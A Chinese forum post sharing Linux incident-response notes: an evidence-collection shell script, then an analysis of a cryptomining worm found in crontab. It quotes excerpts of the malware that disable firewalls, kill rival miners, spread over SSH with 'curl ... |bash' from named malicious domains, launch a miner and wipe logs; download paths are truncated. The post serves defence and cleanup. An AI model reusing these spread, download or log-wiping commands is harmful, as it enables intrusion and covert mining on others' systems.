你的浏览器版本过低,可能导致网站不能正常访问!
为了你能正常使用网站功能,请使用这些浏览器。

Linux应急响应笔记来了

[复制链接]
gaosmile 发布时间:2021-2-2 11:28
背景
前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。
PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。
应急操作笔记
查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。
自动化信息收集
我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。
  1. ' D2 L" M; f) `' }
  2. #!/bin/bash
    - s$ z$ P: Y& y: H$ Y+ E
  3. 3 d+ Z1 P: g7 e' C
  4. function initial(){" u% [+ U/ {* x5 h4 u5 a; w
  5.     echo "Doing initial"/ J$ t( x# c# n. d; w
  6.     mkdir /tmp/GatherInfo    - S$ e4 R$ l5 j, m
  7.     chmod +x ./chkrootkit2 g/ s$ O3 m, y1 o  ~
  8.     chmod +x ./busybox& n# }* N8 m. \- t; u
  9. }
    : W. G9 M: M$ j! v1 z, R" [2 i" S7 B

  10. 8 {- s/ p3 h: t
  11. function chkrootkit_info(){
    8 Z: a  I, l% [# ?7 h
  12.     echo "Doing chkrootkit"4 n9 V; |! G# K+ |
  13.     ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&13 y- R1 j( F/ q6 ^
  14. }
    0 |: G1 L* U. k2 j
  15.   E0 V( i! F: z$ U8 a. Y9 i: n
  16. function network_info(){2 x7 b: C" y( u  f5 C4 S2 ^
  17.     echo "Gathering network info"
    + Y- i8 W# K0 u! _, @' T1 b# i/ Q/ I
  18.     netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1( e  p( Y- e/ y1 [) [
  19.     netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1
    / q2 s- U/ i8 n
  20. }1 F7 W/ E6 o( K- Q% k$ b! l9 y" g
  21. & Z% O6 m3 `7 K9 T1 X
  22. function process_info(){
    ; E: F1 _9 Y6 [+ b  Y+ J
  23.     echo "Gathering process info"% F2 \# t# V1 _+ B  [' R7 \
  24.     ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
    " x% p, o9 `8 D# E( e2 B
  25.     ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
    . V  x9 Y( R6 i8 M
  26.     top -n 1 > /tmp/GatherInfo/top_n1.log 2>&11 b3 k: p6 D0 S5 C5 w) U8 j9 q$ r
  27. }
    ' F0 d4 \5 f" e6 M
  28. ! o3 ~& b* F# o: G( }- c, u
  29. function init_info(){
    , [' b. C% u8 `7 k  [; m' ^
  30.     echo "Gathering init info"
    : Y* l  y9 }5 h& S3 u% a
  31.     chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1; C4 w; [# R0 l( _% F: C, N
  32.     ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
    / l5 P$ Y% W$ q4 K( a
  33. }
    7 u1 M3 B) \2 y$ F( c" L( p' [, B
  34.   s  X2 f) Z# j5 a
  35. function cron_info(){
    8 a7 r* e. |1 B
  36.     echo "Gathering cron info"
    5 z. Q+ Z7 r% M' ^  v! U9 t
  37.     cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
    3 {. w' a' {9 F) m- m/ V% O6 `( s
  38.     cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&1
    2 k! s" `# Y+ L) A
  39.     crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1
    4 w$ V) z3 Y3 k. ~. a
  40. 6 z8 t7 ]' @' w, y8 m
  41.     cd /etc/cron.d/9 Y! ?* ~, B! R8 J: ]- Z* ?' b: `
  42.     cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1, H" h; o/ M! Z' q. ], g
  43.     cd /etc/cron.daily/' S* w0 t, E1 i$ G# ]& l" D: E+ Y
  44.     cat * > /tmp/GatherInfo/etc_daily.log 2>&1
    * N* c) Q# i% @3 K* s, _8 r
  45.     cd /etc/cron.hourly/
    + M" O$ \0 {, C
  46.     cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
    + u* h: s/ |  a7 f; d) O3 E
  47.     cd /etc/cron.monthly/
    2 O0 I2 y% l. B- u0 a3 S7 E+ W$ {
  48.     cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
    ' s* e' I6 P) R% I
  49.     cd /etc/cron.weekly/6 I, z1 n! Z% v. ^4 L' E* S4 l! z$ g
  50.     cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
    $ G# s( P: I2 i
  51.     cd /var/spool/cron/$ V8 n. h+ ]. w% s5 |6 {0 s
  52.     cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
    ; }# X) W9 w8 l3 w
  53.     cd /var/spool/anacron/8 I, v% B0 _6 G) L& c
  54.     cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1- p5 ?' V4 a: X6 ?0 p
  55. }5 q* \6 _% C5 V( D

  56. ( j! Q: e& P* |! [: R! \, y
  57. function other_info(){
    7 I& \. t0 ]+ E! }1 y9 E- W8 @
  58.     echo "Gathering other info"
    : D) u0 g  S7 ~5 ~; B( z3 ^
  59.     cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1+ d3 l9 V$ _, b" N$ _# f; F
  60.     ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
    ( T- n1 |8 `- Y- v. N
  61.     ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
    4 {. D8 u2 |& f1 f* C; G2 i  f
  62.     ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&14 P' V" C- X* t+ C. r- {
  63.     echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1( \. t% e! B- F' d$ w
  64.     cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
    % M" M, @- Z3 }: q. f7 X
  65.     s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1
    4 }8 i( [# D- A) k
  66.     cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1
    . w0 a$ S+ ]/ g9 i8 s9 T$ @) M

  67. , N6 ]# N! P* H- z& [
  68.     for user in /home/*
    % D8 I( ?* q' z- D: c0 e
  69.     do3 ~2 E- @/ G% s, _5 V7 l
  70.         if test -d $user;then
    ; F) q  T8 l1 y
  71.             cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
    8 e7 Q- v( C: o, N- l
  72.         fi
    ! k* ], n- L3 i( V
  73.     done( W: ^' I, g* D- P
  74. }& ^8 q. P, _1 \+ A7 b' W8 q

  75. 4 I" S  w* i; y6 q
  76. initial# {1 ]2 V* `: o& w. H
  77. chkrootkit_info
    7 Z  p; D0 T0 f
  78. network_info
    . V  C4 {2 C& R2 `+ Q$ Q4 K2 b7 A( U
  79. process_info, o$ S0 h! c! e8 M! N/ H9 \; r/ A
  80. init_info
    - U, ~& U+ Q" h
  81. cron_info" Z5 g! I3 q- t1 {$ [
  82. other_info
    9 `0 d( k: T# x9 ]3 |* n: y
  83.   `! M) Z3 f5 P% t4 s, _
  84. cd /tmp
    & u& ^' C  G1 c
  85. tar -zcvf GatherInfo.tar.gz GatherInfo
复制代码
信息收集结果分析
查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查
应急响应检查表
微信图片_20210202112754.jpg
微信图片_20210202112758.jpg
在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务
  1. ! W$ {# Q( {+ c2 x
  2. 59 * * * * root (curl -fsSL http://t.amynx.com/ ......
    ) @; O1 a. D5 s
  3. 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......( |, x; v; O# m5 t: f) g: V
  4. 13 * * * * root ps aux|grep lplp.ackng.com ......
复制代码

1 C: v/ r) J8 [3 c+ H" X
我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么
恶意脚本分析
恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码
  1. / ~3 A) u# }; C0 |9 v2 J0 |
  2. #/bin/bash
      F9 ~* R4 Q6 j' ~! W' r, r
  3. processes(){9 m  m2 }1 i6 D6 D/ D
  4.     killme() {- F3 o) n4 i4 Z3 D9 S
  5.       killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &- K1 @6 A8 w0 {
  6.     }
    : h: g1 k, S- u6 M
  7. * ?7 B% N8 h2 J0 L7 Y
  8.     killa() {( w8 C2 g# p: \* x& W( Q- c- [
  9.     what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&! H4 h6 b. A0 J/ j! R2 ]
  10.     }4 |" q5 f' T2 [' T$ d  ^% S

  11. ' t- S2 ?, ~: f  ?) L/ T1 U
  12.     killa 34e2fg) s  c1 b+ J8 f! ^, o* E& O
  13.     killme; p2 @. k6 m1 {2 b1 e5 g+ B6 A8 ]. \

  14. * J, g( }* A8 l( ~
  15.     killall \.Historys
    " S7 ?* u0 e" K5 m: w& ~7 C
  16.     killall \.sshd, y( y' T, d9 y9 e5 [+ W% }% C: ]
  17.     killall neptune3 C/ ^, b- h. L5 Q
  18.     killall xm640 s; X8 N% d% e) u) @$ w- @# _+ y
  19.     killall xm32  r3 A, x" \5 z' }% d8 ~
  20.     killall xmrig/ G) b. T$ A& j% q6 s7 @8 V
  21.     killall \.xmrig
    * K' Q( H7 P' y: G4 y7 \
  22.     killall suppoieup
    " g" Q+ b! C2 B. f

  23. " K+ g4 \0 D" |' {* V7 z% ?
  24.     # sshd
    & L: H2 S# ?& f! [; U
  25.     ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid/ s. i/ T& q# L4 I" v: P& @/ E
  26.     while read sshdpid
    # M" I- E1 S! ^) R% W9 j
  27.     do8 r* @( g4 z& h; p/ Z
  28.         if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]! l& U7 w0 R( |; k, ?6 c2 ]- d
  29.         then/ }, }# u9 X$ j, |  B6 ~1 ^9 F% V
  30.             kill $sshdpid+ C$ J, T7 h3 m, T
  31.         fi
    $ X! N) x7 ]0 o0 O1 v3 {
  32.     done < /tmp/ssdpid* {" T0 P) P/ W5 k6 ~2 p. G
  33.     rm -f /tmp/ssdpid
    + B  @+ ^8 ^1 o, k1 ~' y3 A; i4 |
  34. . x5 v  x. r6 {7 ^( a0 Q
  35. # Removing miners by known path IOC
    1 q$ c, `( F$ O7 p! Z" ~; T3 `
  36. files(){( ^; ]$ m; H7 ^/ z+ \6 `
  37.     ulimit -n 65535) _; l& b7 v4 V
  38.     rm -rf /var/log/syslog0 Y7 \" a: ?7 A2 [0 n
  39.     chattr -iua /tmp/
    & Y  c4 ?( y2 Q: V0 K2 N
  40.     chattr -iua /var/tmp/6 @. H# v5 ~* U) i! G9 e) a
  41.     chattr -R -i /var/spool/cron* h2 p1 Q) E' `' j5 J
  42.     chattr -i /etc/crontab
      C5 {" |! x. X: K) N
  43.     ufw disable! r5 U" m% T( X0 C2 z+ n5 U
  44.     iptables -F
    0 z. K( |% l* W) e
  45.     echo "nope" >/tmp/log_rot5 }3 e' K% q% p/ k$ j
  46.     sudo sysctl kernel.nmi_watchdog=08 n9 A8 |) a2 y' `# ~
  47.     echo '0' >/proc/sys/kernel/nmi_watchdog
    4 c3 G: N; M% Z) R+ u2 c8 f" e
  48.     echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    9 l* g. @2 {1 p: ~
  49.     rm /tmp/.cron
    % x; t* s" G& F0 W5 O2 c
  50.     rm /tmp/.main! k% y; c% u  N5 L6 r1 ]
  51.     rm /tmp/.yam* -rf
    ) o6 U" u5 K* b  ]3 f1 Q
  52.     rm -f /tmp/irq% v! |5 i, }/ q" B. F1 d# r* \4 z
  53. 9 Y- a% X& |! w9 g+ M, S
  54. # Killing and blocking miners by network related IOC( ?' ~  B/ a9 c' {
  55. network(){7 d8 d1 \: z8 h* K$ l* S7 H
  56.     # Kill by known ports/IPs
    5 p' a" j5 T5 e
  57.     netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    1 [# Y, ~- C! t4 h) @0 ]3 V( W
  58.     netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9- o# u: W6 g+ V* h' a- W" Z5 J

  59. + g. _6 G' Z7 N2 q, N- j/ E
  60. files# f0 ~2 z7 G4 Q4 V5 D: d- n
  61. processes
    * l4 b* _1 P( v9 h" x( Q
  62. network" x9 @- }3 @4 t  K: g9 \
  63. echo "DONE"
复制代码
: \0 d9 l+ ?# a& z0 X
接下来是下载恶意二进制程序以及ssh横向传播

  1. + ~2 _) J3 ^' J! D) f
  2. 代码片段1
    7 Q6 Q* G/ F% r- v; b
  3. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    0 ?3 H# W* V( F6 X
  4.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......
    + j- g8 F# S9 h
  5. fi7 n7 C" L5 h/ B* f) W

  6. 9 c  H+ l) c/ x# [$ g# U8 Q
  7. 代码片段2. W& R) Q8 X7 k' `4 g& R
  8. for file in /home/*7 f) |/ ^+ G- v1 q1 c
  9. do
    " g7 n6 t. M, C- [4 r4 v2 F. s
  10.     if test -d $file; then
    2 b. o6 T& w! ~$ b, }
  11.         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
    7 ?0 }; {0 [# ~8 _
  12.             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
    # r) J( h4 G2 v
  13.         fi/ p" }% R' q' S
  14.     fi
    ) w4 o  {. x7 i2 o2 i/ O0 Q
  15. done6 H# X) D0 {- f9 U

  16. 5 P2 I6 o  S* o/ [5 p7 c, V- H
  17. 代码片段3
    # V: X  L* x+ _% Y* Z/ G6 N' }7 d. L
  18.   for user in $userlist; do1 t- t8 [" \8 G  x6 P
  19.     for host in $hostlist; do
    ) I# e- u) c6 f# \7 g
  20.       for key in $keylist; do! S$ [1 [3 b# X# y( s
  21.         for sshp in $sshports; do
    8 e$ E( e9 I% F5 B4 n
  22.           i=$((i+1))
    " _+ D, J. c8 _; s: F* ]- g
  23.           if [ "${i}" -eq "20" ]; then
    8 c6 [- L3 i( p& W2 b% K& r- R
  24.             sleep 20; o4 @& u8 Q' H0 \
  25.             ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &' u1 c; d, s6 Z2 A% g
  26.             i=0
    5 ~$ s. }$ v+ |7 @4 ~2 X
  27.           fi
    9 E# h3 j5 s. Q, {. I! ]3 m! R
  28.           #Wait 20 seconds after every 20 attempts and clean up hanging processes
    - P; Z% q( H" j  ?+ p

  29. $ A  s7 ^0 j+ i1 i0 N
  30.           chmod +r $key
    4 h/ d8 Z; b: V* W( U% k! v9 g
  31.           chmod 400 $key' w- Z1 q" g) T' Q6 t
  32.           echo "$user@$host $key $sshp"
    # m! n1 n4 b/ ~# Y
  33.           ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"6 @; N+ X# Z" V: M0 t4 L, X# U1 I
  34.         done
    0 D4 [+ W( g9 w
  35.       done
    " [& c3 P. j- H
  36.     done8 I$ L6 j% g" C- m) h7 ?
  37.   done
复制代码
% v# A% K: h/ G2 ?
上面这三段代码是通过ssh的证书登录方式横向感染传播。

  1. + w- c( B( p: C  l  I
  2. if [ ! -d "/.Xll" ];then
    - S0 `& m/ U' A7 W5 t
  3.     mkdir /.Xll  b& d- n% l; u7 J2 h
  4. fi: A  e/ F  X  i9 a% k
  5. cd /.Xll# _/ J$ S1 [: \: r
  6. if [ ! -f "./xr" ];then: c5 O' D: [+ b& P
  7.     uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......
    $ c6 ?- X* ]% e# }& t: l
  8. fi
    & N7 h; W' l6 b3 h1 Y8 [
  9. uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529
复制代码

" l/ g$ [3 ^% x, V6 V
上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。
最后是清理痕迹

  1. + D3 f3 x6 Z  d9 a+ P; J$ c
  2. history -c
    4 @- y- q, ^  K; V5 x; D/ g/ ]( N
  3. echo 0>/var/spool/mail/root2 S  {# w- g6 m) U, H, n
  4. echo 0>/var/log/wtmp7 S4 H1 h: r7 c
  5. echo 0>/var/log/secure
    9 n: ?; g6 a" h; s& Q* }
  6. echo 0>/var/log/cron+ n3 i. `3 e+ L& K$ N% x8 Y
  7. echo > /root/.bash_history
复制代码
清理与恢复
根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录
总结与反思病毒标识
目录及文件 /.Xll 和 /.Xll/xr
进程表示 ps aux | grep lplp.ackng.com
两个域 t.amynx.com, t.jdjdcjq.top
挖矿威胁小于勒索
每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。
无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。
防护建议
一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。
最后,我把上述用到的脚本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中,有需要的读者可下载使用,欢迎任何的反馈意见。

7 }8 D1 U; \/ k+ v. i
赞 收藏 评论0 发布时间:2021-2-2 11:28

举报

0个回答
关于
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
人形机器人运动控制、感知与智能配电
半导体创新技术与应用方向
EE架构与软件定义汽车
12V/48V 汽车智能配电(SPD)
区域控制单元(ZCU)与分区架构
关注我们
st-img 微信公众号
st-img 手机版